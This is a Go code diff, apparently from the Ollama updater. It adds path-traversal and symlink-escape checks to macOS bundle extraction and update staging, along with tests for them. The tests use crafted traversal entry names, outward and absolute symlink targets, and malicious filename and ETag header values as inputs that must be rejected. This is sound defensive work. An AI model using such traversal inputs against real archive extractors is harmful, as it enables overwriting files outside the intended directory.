const updateArchiveRoot = "Ollama.app"
|
||||
|
||||
type bundleEntryScope int
|
||||
|
||||
const (
|
||||
bundleEntryRelative bundleEntryScope = iota
|
||||
bundleEntryWithArchiveRoot
|
||||
)
|
||||
|
||||
var (
|
||||
appBackupDir string
|
||||
SystemWidePath = "/Applications/Ollama.app"
|
||||
@@ -167,8 +176,12 @@ func DoUpgrade(interactive bool) error {
|
||||
}
|
||||
name := s[1]
|
||||
if strings.HasSuffix(name, "/") {
|
||||
d := filepath.Join(BundlePath, name)
|
||||
err := os.MkdirAll(d, 0o755)
|
||||
d, err := bundleEntryPath(BundlePath, name, bundleEntryRelative)
|
||||
if err != nil {
|
||||
anyFailures = true
|
||||
return err
|
||||
}
|
||||
err = os.MkdirAll(d, 0o755)
|
||||
if err != nil {
|
||||
anyFailures = true
|
||||
return fmt.Errorf("failed to mkdir %s: %w", d, err)
|
||||
@@ -181,30 +194,14 @@ func DoUpgrade(interactive bool) error {
|
||||
continue
|
||||
}
|
||||
|
||||
src, err := f.Open()
|
||||
destName, err := bundleEntryPath(BundlePath, name, bundleEntryRelative)
|
||||
if err != nil {
|
||||
anyFailures = true
|
||||
return fmt.Errorf("failed to open bundle file %s: %w", name, err)
|
||||
return err
|
||||
}
|
||||
destName := filepath.Join(BundlePath, name)
|
||||
// Verify directory first
|
||||
d := filepath.Dir(destName)
|
||||
if _, err := os.Stat(d); err != nil {
|
||||
err := os.MkdirAll(d, 0o755)
|
||||
if err != nil {
|
||||
anyFailures = true
|
||||
return fmt.Errorf("failed to mkdir %s: %w", d, err)
|
||||
}
|
||||
}
|
||||
destFile, err := os.OpenFile(destName, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0o755)
|
||||
if err != nil {
|
||||
if err := extractBundleFile(f, destName, name); err != nil {
|
||||
anyFailures = true
|
||||
return fmt.Errorf("failed to open output file %s: %w", destName, err)
|
||||
}
|
||||
defer destFile.Close()
|
||||
if _, err := io.Copy(destFile, src); err != nil {
|
||||
anyFailures = true
|
||||
return fmt.Errorf("failed to open extract file %s: %w", destName, err)
|
||||
return err
|
||||
}
|
||||
}
|
||||
for _, f := range links {
|
||||
@@ -225,16 +222,24 @@ func DoUpgrade(interactive bool) error {
|
||||
return err
|
||||
}
|
||||
link := string(buf)
|
||||
if link[0] == '/' {
|
||||
if link == "" {
|
||||
anyFailures = true
|
||||
return fmt.Errorf("bundle contains empty symlink %s", f.Name)
|
||||
}
|
||||
if filepath.IsAbs(link) {
|
||||
anyFailures = true
|
||||
return fmt.Errorf("bundle contains absolute symlink %s -> %s", f.Name, link)
|
||||
}
|
||||
// Don't allow links outside of Ollama.app
|
||||
if strings.HasPrefix(filepath.Join(filepath.Dir(name), link), "..") {
|
||||
if !validBundleLinkTarget(name, link, bundleEntryRelative) {
|
||||
anyFailures = true
|
||||
return fmt.Errorf("bundle contains link outside of contents %s -> %s", f.Name, link)
|
||||
return fmt.Errorf("bundle contains invalid symlink %s -> %s", f.Name, link)
|
||||
}
|
||||
if err = os.Symlink(link, filepath.Join(BundlePath, name)); err != nil {
|
||||
destName, err := bundleEntryPath(BundlePath, name, bundleEntryRelative)
|
||||
if err != nil {
|
||||
anyFailures = true
|
||||
return err
|
||||
}
|
||||
if err = os.Symlink(link, destName); err != nil {
|
||||
anyFailures = true
|
||||
return err
|
||||
}
|
||||
@@ -282,8 +287,11 @@ func verifyDownload() error {
|
||||
links := []*zip.File{}
|
||||
for _, f := range r.File {
|
||||
if strings.HasSuffix(f.Name, "/") {
|
||||
d := filepath.Join(dir, f.Name)
|
||||
err := os.MkdirAll(d, 0o755)
|
||||
d, err := bundleEntryPath(dir, f.Name, bundleEntryWithArchiveRoot)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = os.MkdirAll(d, 0o755)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to mkdir %s: %w", d, err)
|
||||
}
|
||||
@@ -294,26 +302,12 @@ func verifyDownload() error {
|
||||
links = append(links, f)
|
||||
continue
|
||||
}
|
||||
src, err := f.Open()
|
||||
destName, err := bundleEntryPath(dir, f.Name, bundleEntryWithArchiveRoot)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to open bundle file %s: %w", f.Name, err)
|
||||
return err
|
||||
}
|
||||
destName := filepath.Join(dir, f.Name)
|
||||
// Verify directory first
|
||||
d := filepath.Dir(destName)
|
||||
if _, err := os.Stat(d); err != nil {
|
||||
err := os.MkdirAll(d, 0o755)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to mkdir %s: %w", d, err)
|
||||
}
|
||||
}
|
||||
destFile, err := os.OpenFile(destName, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0o755)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to open output file %s: %w", destName, err)
|
||||
}
|
||||
defer destFile.Close()
|
||||
if _, err := io.Copy(destFile, src); err != nil {
|
||||
return fmt.Errorf("failed to open extract file %s: %w", destName, err)
|
||||
if err := extractBundleFile(f, destName, f.Name); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
for _, f := range links {
|
||||
@@ -326,13 +320,20 @@ func verifyDownload() error {
|
||||
return err
|
||||
}
|
||||
link := string(buf)
|
||||
if link[0] == '/' {
|
||||
if link == "" {
|
||||
return fmt.Errorf("bundle contains empty symlink %s", f.Name)
|
||||
}
|
||||
if filepath.IsAbs(link) {
|
||||
return fmt.Errorf("bundle contains absolute symlink %s -> %s", f.Name, link)
|
||||
}
|
||||
if strings.HasPrefix(filepath.Join(filepath.Dir(f.Name), link), "..") {
|
||||
return fmt.Errorf("bundle contains link outside of contents %s -> %s", f.Name, link)
|
||||
if !validBundleLinkTarget(f.Name, link, bundleEntryWithArchiveRoot) {
|
||||
return fmt.Errorf("bundle contains invalid symlink %s -> %s", f.Name, link)
|
||||
}
|
||||
if err = os.Symlink(link, filepath.Join(dir, f.Name)); err != nil {
|
||||
destName, err := bundleEntryPath(dir, f.Name, bundleEntryWithArchiveRoot)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err = os.Symlink(link, destName); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
@@ -343,6 +344,53 @@ func verifyDownload() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func bundleEntryPath(root, name string, scope bundleEntryScope) (string, error) {
|
||||
cleanName := filepath.Clean(filepath.FromSlash(name))
|
||||
if !filepath.IsLocal(cleanName) {
|
||||
return "", fmt.Errorf("bundle contains invalid path: %s", name)
|
||||
}
|
||||
if scope == bundleEntryWithArchiveRoot && cleanName != updateArchiveRoot &&
|
||||
!strings.HasPrefix(cleanName, updateArchiveRoot+string(os.PathSeparator)) {
|
||||
return "", fmt.Errorf("bundle contains invalid path: %s", name)
|
||||
}
|
||||
return filepath.Join(root, cleanName), nil
|
||||
}
|
||||
|
||||
func extractBundleFile(f *zip.File, destName, name string) error {
|
||||
src, err := f.Open()
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to open bundle file %s: %w", name, err)
|
||||
}
|
||||
defer src.Close()
|
||||
|
||||
d := filepath.Dir(destName)
|
||||
if _, err := os.Stat(d); err != nil {
|
||||
if err := os.MkdirAll(d, 0o755); err != nil {
|
||||
return fmt.Errorf("failed to mkdir %s: %w", d, err)
|
||||
}
|
||||
}
|
||||
|
||||
destFile, err := os.OpenFile(destName, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0o755)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to open output file %s: %w", destName, err)
|
||||
}
|
||||
defer destFile.Close()
|
||||
|
||||
if _, err := io.Copy(destFile, src); err != nil {
|
||||
return fmt.Errorf("failed to open extract file %s: %w", destName, err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func validBundleLinkTarget(name, link string, scope bundleEntryScope) bool {
|
||||
cleanTarget := filepath.Clean(filepath.Join(filepath.Dir(filepath.FromSlash(name)), filepath.FromSlash(link)))
|
||||
if !filepath.IsLocal(cleanTarget) {
|
||||
return false
|
||||
}
|
||||
return scope == bundleEntryRelative || cleanTarget == updateArchiveRoot ||
|
||||
strings.HasPrefix(cleanTarget, updateArchiveRoot+string(os.PathSeparator))
|
||||
}
|
||||
|
||||
// If we detect an upgrade bundle, attempt to upgrade at startup
|
||||
func DoUpgradeAtStartup() error {
|
||||
bundle := getStagedUpdate()
|
||||
|
||||
@@ -2,6 +2,7 @@ package updater
|
||||
|
||||
import (
|
||||
"archive/zip"
|
||||
"errors"
|
||||
"io/fs"
|
||||
"os"
|
||||
"path/filepath"
|
||||
@@ -146,6 +147,46 @@ func TestDoUpgrade(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestDoUpgradeRejectsInvalidBundlePath(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
BundlePath = filepath.Join(tmpDir, "Ollama.app")
|
||||
appBackupDir = filepath.Join(tmpDir, "backup")
|
||||
UpdateStageDir = filepath.Join(tmpDir, "updates")
|
||||
UpgradeMarkerFile = filepath.Join(tmpDir, "upgraded")
|
||||
bundle := filepath.Join(UpdateStageDir, "foo", "ollama-darwin.zip")
|
||||
invalidTarget := filepath.Join(tmpDir, "invalid-entry")
|
||||
|
||||
if err := os.MkdirAll(filepath.Join(BundlePath, "Contents", "MacOS"), 0o755); err != nil {
|
||||
t.Fatal("failed to create empty dirs")
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(BundlePath, "Contents", "MacOS", "Ollama"), []byte("old app"), 0o755); err != nil {
|
||||
t.Fatal("failed to create old app")
|
||||
}
|
||||
if err := os.MkdirAll(filepath.Dir(bundle), 0o755); err != nil {
|
||||
t.Fatal("failed to create empty dirs")
|
||||
}
|
||||
if err := zipCreationHelper(bundle, []testPayload{{
|
||||
Name: "Ollama.app/../invalid-entry",
|
||||
Body: []byte("payload"),
|
||||
}}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
if err := DoUpgrade(false); err == nil {
|
||||
t.Fatal("expected failure with invalid bundle path")
|
||||
} else if !strings.Contains(err.Error(), "bundle contains invalid path") {
|
||||
t.Fatalf("unexpected error with invalid bundle path: %s", err)
|
||||
}
|
||||
if _, err := os.Stat(invalidTarget); err == nil {
|
||||
t.Fatalf("invalid bundle path wrote %s", invalidTarget)
|
||||
} else if !errors.Is(err, os.ErrNotExist) {
|
||||
t.Fatalf("unexpected stat error for %s: %s", invalidTarget, err)
|
||||
}
|
||||
if _, err := os.Stat(filepath.Join(BundlePath, "Contents", "MacOS", "Ollama")); err != nil {
|
||||
t.Fatalf("old app was not restored: %s", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDoUpgradeAtStartup(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
BundlePath = filepath.Join(tmpDir, "Ollama.app")
|
||||
@@ -203,7 +244,7 @@ func TestVerifyDownloadFailures(t *testing.T) {
|
||||
in []testPayload
|
||||
expected string
|
||||
}{
|
||||
{"breakout", []testPayload{
|
||||
{"invalid symlink target", []testPayload{
|
||||
{
|
||||
Name: "Ollama.app/",
|
||||
Body: []byte{},
|
||||
@@ -212,15 +253,34 @@ func TestVerifyDownloadFailures(t *testing.T) {
|
||||
Body: []byte("cli payload here"),
|
||||
}, {
|
||||
Name: "Ollama.app/Contents/MacOS/Ollama",
|
||||
Body: []byte("../../../../breakout"),
|
||||
Body: []byte("../../../../invalid-target"),
|
||||
Mode: os.ModeSymlink,
|
||||
},
|
||||
}, "bundle contains link outside"},
|
||||
}, "bundle contains invalid symlink"},
|
||||
{"invalid archive symlink target", []testPayload{
|
||||
{
|
||||
Name: "Ollama.app/Contents/MacOS/Ollama",
|
||||
Body: []byte("../../../invalid-target"),
|
||||
Mode: os.ModeSymlink,
|
||||
},
|
||||
}, "bundle contains invalid symlink"},
|
||||
{"absolute", []testPayload{{
|
||||
Name: "Ollama.app/Contents/MacOS/Ollama",
|
||||
Body: []byte("/etc/foo"),
|
||||
Mode: os.ModeSymlink,
|
||||
}}, "bundle contains absolute"},
|
||||
{"invalid relative file", []testPayload{{
|
||||
Name: "Ollama.app/../invalid-entry",
|
||||
Body: []byte("payload"),
|
||||
}}, "bundle contains invalid path"},
|
||||
{"invalid relative directory", []testPayload{{
|
||||
Name: "Ollama.app/../invalid-entry/",
|
||||
Body: []byte{},
|
||||
}}, "bundle contains invalid path"},
|
||||
{"absolute file", []testPayload{{
|
||||
Name: filepath.Join(tmpDir, "invalid-entry"),
|
||||
Body: []byte("payload"),
|
||||
}}, "bundle contains invalid path"},
|
||||
{"missing", []testPayload{{
|
||||
Name: "Ollama.app/Contents/MacOS/Ollama",
|
||||
Body: []byte("../nothere"),
|
||||
@@ -242,6 +302,11 @@ func TestVerifyDownloadFailures(t *testing.T) {
|
||||
if err == nil || !strings.Contains(err.Error(), tt.expected) {
|
||||
t.Fatalf("expected \"%s\" got %s", tt.expected, err)
|
||||
}
|
||||
if _, err := os.Stat(filepath.Join(tmpDir, "invalid-entry")); err == nil {
|
||||
t.Fatal("invalid bundle path wrote unexpected file")
|
||||
} else if !errors.Is(err, os.ErrNotExist) {
|
||||
t.Fatalf("unexpected stat error for invalid file: %s", err)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,127 @@
|
||||
//go:build (windows || darwin) && updater_live
|
||||
|
||||
package updater
|
||||
|
||||
import (
|
||||
"context"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/ollama/ollama/app/store"
|
||||
"github.com/ollama/ollama/app/version"
|
||||
)
|
||||
|
||||
// TestLiveAppUpdate exercises the production update endpoint and downloads the
|
||||
// current OS update artifact. It is intentionally excluded from normal test
|
||||
// runs because it depends on ollama.com and downloads a release artifact.
|
||||
//
|
||||
// Run with:
|
||||
//
|
||||
// go test -tags updater_live -run TestLiveAppUpdate ./app/updater
|
||||
func TestLiveAppUpdate(t *testing.T) {
|
||||
const spoofedVersion = "0.20.0"
|
||||
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Minute)
|
||||
defer cancel()
|
||||
|
||||
oldUpdateStageDir := UpdateStageDir
|
||||
oldUpdateDownloaded := UpdateDownloaded
|
||||
oldVerifyDownload := VerifyDownload
|
||||
oldVersion := version.Version
|
||||
defer func() {
|
||||
UpdateStageDir = oldUpdateStageDir
|
||||
UpdateDownloaded = oldUpdateDownloaded
|
||||
VerifyDownload = oldVerifyDownload
|
||||
version.Version = oldVersion
|
||||
}()
|
||||
|
||||
version.Version = spoofedVersion
|
||||
|
||||
expectedFilename := ""
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
t.Setenv("LOCALAPPDATA", t.TempDir())
|
||||
expectedFilename = "OllamaSetup.exe"
|
||||
case "darwin":
|
||||
expectedFilename = "Ollama-darwin.zip"
|
||||
default:
|
||||
t.Fatalf("unsupported updater live test OS %q", runtime.GOOS)
|
||||
}
|
||||
|
||||
UpdateStageDir = filepath.Join(t.TempDir(), "updates")
|
||||
UpdateDownloaded = false
|
||||
verifyCalled := false
|
||||
VerifyDownload = func() error {
|
||||
verifyCalled = true
|
||||
return verifyDownload()
|
||||
}
|
||||
|
||||
updater := &Updater{Store: &store.Store{DBPath: filepath.Join(t.TempDir(), "db.sqlite")}}
|
||||
defer updater.Store.Close()
|
||||
|
||||
available, updateResp := updater.checkForUpdate(ctx)
|
||||
if !available {
|
||||
t.Fatalf("expected production update check to offer an update for spoofed version %s", spoofedVersion)
|
||||
}
|
||||
if updateResp.UpdateURL == "" {
|
||||
t.Fatal("production update response did not include a download URL")
|
||||
}
|
||||
t.Logf("production update version=%q url=%q", updateResp.UpdateVersion, updateResp.UpdateURL)
|
||||
|
||||
if err := updater.DownloadNewRelease(ctx, updateResp); err != nil {
|
||||
t.Fatalf("download production update: %v", err)
|
||||
}
|
||||
|
||||
staged := getStagedUpdate()
|
||||
if staged == "" {
|
||||
t.Fatal("production update was not staged")
|
||||
}
|
||||
t.Logf("staged production update at %s", staged)
|
||||
|
||||
assertPathInsideDir(t, UpdateStageDir, staged)
|
||||
if filepath.Base(staged) != expectedFilename {
|
||||
t.Fatalf("expected staged %s update filename to be %q, got %q", runtime.GOOS, expectedFilename, filepath.Base(staged))
|
||||
}
|
||||
expectedExt := filepath.Ext(expectedFilename)
|
||||
if filepath.Ext(staged) != expectedExt {
|
||||
t.Fatalf("expected staged %s update to be a %s artifact, got %s", runtime.GOOS, expectedExt, staged)
|
||||
}
|
||||
|
||||
info, err := os.Stat(staged)
|
||||
if err != nil {
|
||||
t.Fatalf("stat staged update: %v", err)
|
||||
}
|
||||
if info.Size() == 0 {
|
||||
t.Fatal("staged production update is empty")
|
||||
}
|
||||
|
||||
if !verifyCalled {
|
||||
t.Fatal("DownloadNewRelease did not call VerifyDownload")
|
||||
}
|
||||
t.Logf("production updater download path verified staged %s update", runtime.GOOS)
|
||||
}
|
||||
|
||||
func assertPathInsideDir(t *testing.T, dir, name string) {
|
||||
t.Helper()
|
||||
|
||||
dir, err := filepath.Abs(dir)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
name, err = filepath.Abs(name)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
rel, err := filepath.Rel(dir, name)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if rel == ".." || strings.HasPrefix(rel, ".."+string(filepath.Separator)) || filepath.IsAbs(rel) {
|
||||
t.Fatalf("staged update escaped update stage dir: %s", name)
|
||||
}
|
||||
}
|
||||
@@ -11,7 +11,9 @@ import (
|
||||
"log/slog"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync/atomic"
|
||||
"testing"
|
||||
"time"
|
||||
@@ -19,6 +21,52 @@ import (
|
||||
"github.com/ollama/ollama/app/store"
|
||||
)
|
||||
|
||||
func TestUpdateStagePathRejectsUnsafeFilename(t *testing.T) {
|
||||
stageDir := t.TempDir()
|
||||
for _, tt := range []struct {
|
||||
name string
|
||||
filename string
|
||||
}{
|
||||
{"empty", ""},
|
||||
{"dot", "."},
|
||||
{"dotdot", ".."},
|
||||
{"posix_parent", "../OllamaSetup.exe"},
|
||||
{"windows_parent", `..\OllamaSetup.exe`},
|
||||
{"posix_absolute_tmp", "/tmp/OllamaSetup.exe"},
|
||||
{"darwin_absolute_app", "/Applications/Ollama.app"},
|
||||
{"darwin_bundle_path", "Ollama.app/Contents/MacOS/Ollama"},
|
||||
{"darwin_user_download", "~/Downloads/Ollama-darwin.zip"},
|
||||
{"windows_absolute", `C:\Users\Public\OllamaSetup.exe`},
|
||||
{"colon", "Ollama:Setup.exe"},
|
||||
} {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
if _, err := updateStagePath(stageDir, "etag", tt.filename); err == nil {
|
||||
t.Fatal("expected unsafe filename to be rejected")
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestUpdateStagePathHashesETag(t *testing.T) {
|
||||
stageDir := t.TempDir()
|
||||
stageFilename, err := updateStagePath(stageDir, `../escaped`, "OllamaSetup.exe")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
rel, err := filepath.Rel(stageDir, stageFilename)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if rel == ".." || strings.HasPrefix(rel, ".."+string(filepath.Separator)) || filepath.IsAbs(rel) {
|
||||
t.Fatalf("stage filename escaped stage dir: %s", stageFilename)
|
||||
}
|
||||
etagDir := filepath.Base(filepath.Dir(stageFilename))
|
||||
if etagDir == ".." || etagDir == "escaped" || strings.ContainsAny(etagDir, `/\`) {
|
||||
t.Fatalf("stage filename used raw etag path component: %s", stageFilename)
|
||||
}
|
||||
}
|
||||
|
||||
func TestIsNewReleaseAvailable(t *testing.T) {
|
||||
slog.SetLogLoggerLevel(slog.LevelDebug)
|
||||
var server *httptest.Server
|
||||
@@ -47,6 +95,223 @@ func TestIsNewReleaseAvailable(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestDownloadNewReleaseRejectsUnsafeHeaderFilename(t *testing.T) {
|
||||
UpdateStageDir = t.TempDir()
|
||||
oldInstaller := Installer
|
||||
oldVerifyDownload := VerifyDownload
|
||||
oldUpdateDownloaded := UpdateDownloaded
|
||||
defer func() {
|
||||
Installer = oldInstaller
|
||||
VerifyDownload = oldVerifyDownload
|
||||
UpdateDownloaded = oldUpdateDownloaded
|
||||
}()
|
||||
Installer = "OllamaSetup.exe"
|
||||
UpdateDownloaded = false
|
||||
VerifyDownload = func() error {
|
||||
t.Fatal("verification should not run for rejected downloads")
|
||||
return nil
|
||||
}
|
||||
|
||||
var getAttempted atomic.Bool
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method == http.MethodHead {
|
||||
w.Header().Set("ETag", `"safe"`)
|
||||
w.Header().Set("Content-Disposition", `attachment; filename="../OllamaSetup.exe"`)
|
||||
w.WriteHeader(http.StatusOK)
|
||||
return
|
||||
}
|
||||
getAttempted.Store(true)
|
||||
w.WriteHeader(http.StatusOK)
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
updater := &Updater{}
|
||||
err := updater.DownloadNewRelease(t.Context(), UpdateResponse{UpdateURL: server.URL + "/download"})
|
||||
if err == nil || !strings.Contains(err.Error(), "unsafe update filename") {
|
||||
t.Fatalf("expected unsafe filename error, got %v", err)
|
||||
}
|
||||
if getAttempted.Load() {
|
||||
t.Fatal("download should not continue after unsafe filename")
|
||||
}
|
||||
if _, err := os.Stat(filepath.Join(filepath.Dir(UpdateStageDir), "OllamaSetup.exe")); err == nil {
|
||||
t.Fatal("download escaped update stage dir")
|
||||
}
|
||||
}
|
||||
|
||||
func TestDownloadNewReleaseDoesNotUseRawETagAsPathComponent(t *testing.T) {
|
||||
UpdateStageDir = t.TempDir()
|
||||
oldInstaller := Installer
|
||||
oldVerifyDownload := VerifyDownload
|
||||
oldUpdateDownloaded := UpdateDownloaded
|
||||
defer func() {
|
||||
Installer = oldInstaller
|
||||
VerifyDownload = oldVerifyDownload
|
||||
UpdateDownloaded = oldUpdateDownloaded
|
||||
}()
|
||||
Installer = "OllamaSetup.exe"
|
||||
UpdateDownloaded = false
|
||||
VerifyDownload = func() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
payload := []byte("payload")
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.Header().Set("ETag", `"../escaped"`)
|
||||
w.WriteHeader(http.StatusOK)
|
||||
if r.Method == http.MethodGet {
|
||||
_, _ = w.Write(payload)
|
||||
}
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
updater := &Updater{}
|
||||
if err := updater.DownloadNewRelease(t.Context(), UpdateResponse{UpdateURL: server.URL + "/download"}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
if _, err := os.Stat(filepath.Join(filepath.Dir(UpdateStageDir), "escaped", Installer)); err == nil {
|
||||
t.Fatal("download escaped update stage dir via etag")
|
||||
}
|
||||
|
||||
entries, err := os.ReadDir(UpdateStageDir)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(entries) != 1 {
|
||||
t.Fatalf("expected one staged update dir, got %d", len(entries))
|
||||
}
|
||||
stageFilename := filepath.Join(UpdateStageDir, entries[0].Name(), Installer)
|
||||
got, err := os.ReadFile(stageFilename)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if string(got) != string(payload) {
|
||||
t.Fatalf("unexpected staged payload %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBackgroundCheckerSkipsAlreadyStagedETagDownload(t *testing.T) {
|
||||
UpdateStageDir = t.TempDir()
|
||||
oldInstaller := Installer
|
||||
oldVerifyDownload := VerifyDownload
|
||||
oldUpdateDownloaded := UpdateDownloaded
|
||||
oldUpdateCheckInitialDelay := UpdateCheckInitialDelay
|
||||
oldUpdateCheckInterval := UpdateCheckInterval
|
||||
oldUpdateCheckURLBase := UpdateCheckURLBase
|
||||
defer func() {
|
||||
Installer = oldInstaller
|
||||
VerifyDownload = oldVerifyDownload
|
||||
UpdateDownloaded = oldUpdateDownloaded
|
||||
UpdateCheckInitialDelay = oldUpdateCheckInitialDelay
|
||||
UpdateCheckInterval = oldUpdateCheckInterval
|
||||
UpdateCheckURLBase = oldUpdateCheckURLBase
|
||||
}()
|
||||
Installer = "OllamaSetup.exe"
|
||||
UpdateDownloaded = false
|
||||
UpdateCheckInitialDelay = time.Millisecond
|
||||
UpdateCheckInterval = 5 * time.Millisecond
|
||||
|
||||
var verifyCount atomic.Int32
|
||||
VerifyDownload = func() error {
|
||||
verifyCount.Add(1)
|
||||
return nil
|
||||
}
|
||||
|
||||
headETag := `"old-update"`
|
||||
getETag := `"download-response-etag"`
|
||||
payload := []byte("payload")
|
||||
var headCount atomic.Int32
|
||||
var getCount atomic.Int32
|
||||
var server *httptest.Server
|
||||
server = httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
switch r.URL.Path {
|
||||
case "/update.json":
|
||||
w.Write([]byte(
|
||||
fmt.Sprintf(`{"version": "9.9.9", "url": "%s"}`,
|
||||
server.URL+"/9.9.9/"+Installer)))
|
||||
case "/9.9.9/" + Installer:
|
||||
w.Header().Set("Content-Disposition", `attachment; filename="OllamaSetup.exe"`)
|
||||
switch r.Method {
|
||||
case http.MethodHead:
|
||||
etag := headETag
|
||||
if getCount.Load() > 0 {
|
||||
etag = getETag
|
||||
}
|
||||
w.Header().Set("ETag", etag)
|
||||
headCount.Add(1)
|
||||
w.WriteHeader(http.StatusOK)
|
||||
case http.MethodGet:
|
||||
w.Header().Set("ETag", getETag)
|
||||
getCount.Add(1)
|
||||
w.WriteHeader(http.StatusOK)
|
||||
_, _ = w.Write(payload)
|
||||
default:
|
||||
t.Errorf("unexpected request method %s", r.Method)
|
||||
w.WriteHeader(http.StatusMethodNotAllowed)
|
||||
}
|
||||
default:
|
||||
t.Errorf("unexpected request path %s", r.URL.Path)
|
||||
w.WriteHeader(http.StatusNotFound)
|
||||
}
|
||||
}))
|
||||
defer server.Close()
|
||||
UpdateCheckURLBase = server.URL + "/update.json"
|
||||
|
||||
updater := &Updater{Store: &store.Store{DBPath: filepath.Join(t.TempDir(), "test.db")}}
|
||||
defer updater.Store.Close()
|
||||
settings, err := updater.Store.Settings()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
settings.AutoUpdateEnabled = true
|
||||
if err := updater.Store.SetSettings(settings); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
ctx, cancel := context.WithCancel(t.Context())
|
||||
defer cancel()
|
||||
|
||||
callbacks := make(chan string, 4)
|
||||
updater.StartBackgroundUpdaterChecker(ctx, func(ver string) error {
|
||||
callbacks <- ver
|
||||
return nil
|
||||
})
|
||||
|
||||
for range 2 {
|
||||
select {
|
||||
case <-callbacks:
|
||||
case <-time.After(5 * time.Second):
|
||||
t.Fatal("timed out waiting for repeated update checks")
|
||||
}
|
||||
}
|
||||
cancel()
|
||||
|
||||
stageFilename, err := updateStagePath(UpdateStageDir, getETag, Installer)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
got, err := os.ReadFile(stageFilename)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if string(got) != string(payload) {
|
||||
t.Fatalf("unexpected staged payload %q", got)
|
||||
}
|
||||
|
||||
if headCount.Load() < 2 {
|
||||
t.Fatalf("HEAD count = %d, want at least 2", headCount.Load())
|
||||
}
|
||||
if getCount.Load() != 1 {
|
||||
t.Fatalf("GET count = %d, want 1", getCount.Load())
|
||||
}
|
||||
if verifyCount.Load() != 1 {
|
||||
t.Fatalf("verification count = %d, want 1", verifyCount.Load())
|
||||
}
|
||||
if !UpdateDownloaded {
|
||||
t.Fatal("UpdateDownloaded should stay true for already staged update")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBackgoundChecker(t *testing.T) {
|
||||
UpdateStageDir = t.TempDir()
|
||||
haveUpdate := false
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
package updater
|
||||
|
||||
import (
|
||||
"crypto/x509"
|
||||
"errors"
|
||||
"fmt"
|
||||
"log/slog"
|
||||
@@ -18,6 +19,30 @@ import (
|
||||
|
||||
var runningInstaller string
|
||||
|
||||
var (
|
||||
crypt32 = windows.NewLazySystemDLL("crypt32.dll")
|
||||
procCryptMsgGetParam = crypt32.NewProc("CryptMsgGetParam")
|
||||
procCryptMsgClose = crypt32.NewProc("CryptMsgClose")
|
||||
)
|
||||
|
||||
const cmsgSignerInfoParam = 6
|
||||
|
||||
type cmsgSignerInfo struct {
|
||||
Version uint32
|
||||
Issuer windows.CertNameBlob
|
||||
SerialNumber windows.CryptIntegerBlob
|
||||
HashAlgorithm windows.CryptAlgorithmIdentifier
|
||||
HashEncryptionAlgorithm windows.CryptAlgorithmIdentifier
|
||||
EncryptedHash windows.CryptDataBlob
|
||||
AuthAttrs cryptAttributes
|
||||
UnauthAttrs cryptAttributes
|
||||
}
|
||||
|
||||
type cryptAttributes struct {
|
||||
Count uint32
|
||||
Attributes unsafe.Pointer
|
||||
}
|
||||
|
||||
type OSVERSIONINFOEXW struct {
|
||||
dwOSVersionInfoSize uint32
|
||||
dwMajorVersion uint32
|
||||
@@ -99,6 +124,12 @@ func DoUpgrade(interactive bool) error {
|
||||
return fmt.Errorf("failed to lookup downloads")
|
||||
}
|
||||
